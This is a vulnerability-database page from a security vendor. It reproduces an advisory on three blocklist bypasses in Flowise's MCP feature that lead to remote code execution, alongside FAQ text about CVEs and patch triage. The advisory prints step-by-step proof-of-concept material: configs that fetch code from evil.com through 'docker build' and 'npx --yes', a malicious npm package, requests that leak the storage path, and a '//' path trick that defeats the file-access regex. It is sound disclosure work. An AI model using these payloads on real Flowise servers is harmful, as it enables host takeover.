How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

353,823

Total vulnerabilities in the database

Flowise has an MCP Security Bypass that Enables RCE — flowise

Incomplete List of Disallowed Inputs

Summary

There are three bypass methods for the security limitations of the Flowise MCP feature, and attackers can execute arbitrary commands by combining these three methods

Details

【Vulnerability one】The Docker build subcommand not being on the blocklist leads to remote code execution

The attacker configures the interface through the MCP tool to provide {"command":"docker","args":["build","https://evil.com/"]} as the Custom MCP Server configuration → Bypass the validateCommandFlags docker blocklist (only blocks run/exec/-v/--volume, etc., but does not block build) → docker build <remote-URL> will pull the Dockerfile from the remote address and execute the RUN instructions within it → Allows attackers to escape from Docker through methods such as mounting, thereby gaining full control of the Flowise host machine

Precondition:

Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows
The deployment environment has the docker command

Vulnerable function - validateCommandFlags:

file: packages/components/nodes/tools/MCP/core.ts:260-310

const COMMAND_FLAG_BLACKLIST: Record&lt;string, string[]&gt; = {
    docker: [
        &#039;run&#039;, &#039;exec&#039;, &#039;-v&#039;, &#039;--volume&#039;, &#039;--privileged&#039;, &#039;--cap-add&#039;,
        &#039;--security-opt&#039;, &#039;--network&#039;, &#039;--pid&#039;, &#039;--ipc&#039;
        //  &#039;build&#039;, &#039;pull&#039;, &#039;push&#039;, &#039;cp&#039;, &#039;commit&#039; are not on the blocklist 
    ],
    npx: [&#039;-c&#039;, &#039;--call&#039;, &#039;--shell-auto-fallback&#039;, &#039;-y&#039;],
    npm: [&#039;run&#039;, &#039;exec&#039;, &#039;install&#039;, &#039;--prefix&#039;, &#039;-g&#039;, &#039;--global&#039;, &#039;publish&#039;, &#039;adduser&#039;, &#039;login&#039;],
    // ...
}
export function validateCommandFlags(command: string, args: string[]): ValidationResult {
    const blacklist = COMMAND_FLAG_BLACKLIST[command] || []
    for (const arg of args) {
        if (blacklist.includes(arg)) {
            return { valid: false, error: `Argument &#039;${arg}&#039; is not allowed for command &#039;${command}&#039;` }
        }
    }
    return { valid: true }
}

Reproduction process:

Add MCP config via UI or API interface, for example:

Then execute:

POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17

{&quot;question&quot;: &quot;1&quot;}

After execution, the command can be triggered to execute docker build http://evil.com

If a privileged container is deployed, then it can fully control the Flowise host machine

【Vulnerability two】 npx --yes long parameter alias bypassing blocklist leads to remote code execution

The attacker configures the MCP tool to provide {"command":"npx","args":["--yes","malicious-package"]} → validateCommandFlags npx blocklist only contains short parameter -y, and does not block long parameter alias --yes → npx --yes malicious-package automatically agrees to install and execute any npm package → Leads to remote code execution (RCE) on the server

Precondition:

Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows
The deployment environment has the npx command

npx blocklist:

file: packages/components/nodes/tools/MCP/core.ts:270-280

npx: [&#039;-c&#039;, &#039;--call&#039;, &#039;--shell-auto-fallback&#039;, &#039;-y&#039;],
//    Only the short parameter -y is present, without the long parameter alias --yes

Reproduction process: Add MCP config via UI or API interface, for example:

{
  &quot;command&quot;: &quot;npx&quot;,
  &quot;args&quot;:[&quot;--yes&quot;, &quot;http://evil.com/FileName.tar&quot;]
}

Contents of the tar file:

// index.js
#!/usr/bin/env node
const http = require(&#039;http&#039;);
const { execSync } = require(&#039;child_process&#039;);

const result = execSync(&#039;id &amp;&amp; hostname&#039;).toString().trim();
console.error(&#039;[MCP-RCE-002] npx --yes bypass: &#039; + result);

// package.json
{
  &quot;name&quot;: &quot;attacker-mcp-pkg&quot;,
  &quot;version&quot;: &quot;1.0.0&quot;,
  &quot;bin&quot;: {
    &quot;attacker-mcp-pkg&quot;: &quot;./index.js&quot;
  },
  &quot;scripts&quot;: {
    &quot;postinstall&quot;: &quot;&quot;
  }
}

Then execute:

POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17

{&quot;question&quot;: &quot;1&quot;}

can trigger the vulnerability, execute the attacker's commands, and achieve RCE:

node command bypassing local file restrictions leads to remote code execution

When configuring the CustomMCP node, the attacker provides {"command":"node","args":["local file"]} → Bypass the security restrictions of validateArgsForLocalFileAccess → Node process loads local files and executes arbitrary code → RCE

Precondition: Have a Flowise account

Analysis of Vulnerable Code:

// packages/components/nodes/tools/MCP/core.ts:177-220

export const validateArgsForLocalFileAccess = (args: string[]): void =&gt; {
    const dangerousPatterns = [
        // Absolute paths
        /^\/[^/]/, // Unix absolute paths starting with /
        /^[a-zA-Z]:\\/, // Windows absolute paths like C:\

        // Relative paths that could escape current directory
        /\.\.\//, // Parent directory traversal with ../
        /\.\.\\/, // Parent directory traversal with ..\
        /^\.\./, // Starting with ..

        // Local file access patterns
        /^\.\//, // Current directory with ./
        /^~\//, // Home directory with ~/
        /^file:\/\//, // File protocol

        // Common file extensions that shouldn&#039;t be accessed
        /\.(exe|bat|cmd|sh|ps1|vbs|scr|com|pif|dll|sys)$/i,

        // File flags and options that could access local files
        /^--?(?:file|input|output|config|load|save|import|export|read|write)=/i,
        /^--?(?:file|input|output|config|load|save|import|export|read|write)$/i
    ]

The above are the main restrictions imposed by the validateArgsForLocalFileAccess function, and it can be found that the regular expression "/^/[^/]/" has a matching issue

As the comment says, this regular expression essentially detects whether it is a Unix absolute path, which matches /etc/passwd but does not match //etc/passwd (the second character is '/')

Therefore, the limitation of this function can be bypassed by starting with //

** Reproduction process: **

Create a new chatflow as follows:

After saving, cmd.js will be uploaded to the ~/.flowise/storage/{orgId}/{chatflow_id}/ directory

orgId can be obtained during login, and chatflow_id will also be returned when saving chatflow:

For example:

~/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js

Since paths like ~/ are restricted, and an absolute path needs to be obtained, use the following method:

POST /api/v1/export-import/import  HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
x-request-from: internal
Cookie: cookie
Connection: keep-alive
Content-Length: 479

 {
    &quot;ChatMessage&quot;: [
      {
        &quot;id&quot;: &quot;11111111-2222-4333-8444-555555555555&quot;,
        &quot;role&quot;: &quot;userMessage&quot;,
        &quot;chatflowid&quot;: &quot;{chatflow_id}&quot;,
        &quot;content&quot;: &quot;seed for home path test&quot;,
        &quot;chatType&quot;: &quot;EXTERNAL&quot;,
        &quot;chatId&quot;: &quot;audit-home-001&quot;,
        &quot;createdDate&quot;: &quot;2026-03-04T06:40:00.000Z&quot;,
        &quot;fileUploads&quot;: &quot;[{\&quot;type\&quot;:\&quot;stored-file\&quot;,\&quot;name\&quot;:\&quot;poc.txt\&quot;,\&quot;mime\&quot;:\&quot;text/plain\&quot;}]&quot;
      }
    ]
  }

POST /api/v1/export-import/chatflow-messages HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
x-request-from: internal
Cookie: cookie
Connection: keep-alive
Content-Length: 57

{&quot;chatflowId&quot;:&quot;{chatflow_id}&quot;}

After obtaining the absolute path, simply modify the path in args to the path of the file name:

  {
    &quot;command&quot;: &quot;node&quot;,
    &quot;args&quot;: [&quot;//root/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js&quot;]
  }

After saving, execution will trigger RCE

POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17

{&quot;question&quot;: &quot;1&quot;}

Impact

This vulnerability allows attackers to execute arbitrary commands on the Flowise server .

Published: May 14, 2026
Updated: Jun 5, 2026
GHSA: GHSA-m99r-2hxc-cp3q
Severity: High
Exploit:
CISA KEV:

No technical information available.

CWEs:

CWE-184

Affected Software
References

Software	From	Fixed in
flowise	-	3.1.2
flowise-components	-	3.1.2

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.